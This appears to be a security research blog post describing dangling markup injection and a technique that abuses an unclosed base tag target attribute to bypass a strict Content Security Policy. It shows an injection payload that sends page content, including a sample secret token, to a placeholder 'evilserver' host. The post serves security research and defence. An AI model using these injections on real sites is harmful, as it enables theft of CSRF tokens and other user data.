Evading CSP with DOM-based dangling markup

Dangling markup is a technique to steal the contents of the page without script by using resources such as images to send the data to a remote location that an attacker controls. It is useful when reflectedXSS doesn't work or is blocked by Content Security Policy ( CSP ). The idea is you inject some partial HTML that is in an unfinished state such as a src attribute of an image tag, and the rest of the markup on the page closes the attribute but also sends the data in-between to the remote server. For example let's say we have an injection point above a script and a form like this:

INJECTION HERE <b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>

If we inject an image tag with an open src attribute like so:

<img src="https://evilserver/?

The code between the injection point and the next double quote will be then sent to the remote server. This might include something sensitive like a CSRF token. Here's what it looks like with the injection. I've highlighted what is sent to the server:

Bypassing a restrictive CSP with base target

CSP allows a developer to block external resources from being loaded to prevent this sort of attack. However, I've found a new technique that will work even with a really restrictive CSP such as:

The above CSP will block the image vector with the open src attribute because the policy will not load any image resources or other sub resources. However we can use a base tag to bypass this restriction. Using the target attribute on the base tag we can change the window name of every link on the page. By injecting an incomplete target attribute the window name will be set with all the markup after the injection until the corresponding quote on every link on the page, therefore allowing us to steal tokens or whatever is between the injection point and the next quote.

In order for an attacker to retrieve the data the victim simply needs to click the link and because the window name is exposed cross-domain the attacker just needs to read the window.name property. The injection looks like this:

I've highlighted the important part of the injection above, the target attribute is still open and the markup of the page is then used as the remaining name and all the attacker needs to do is read the window name. Here the attacker controlled page on a different domain which is navigated to by the victim:

You can try out the PoC for yourself here:

Proof of concept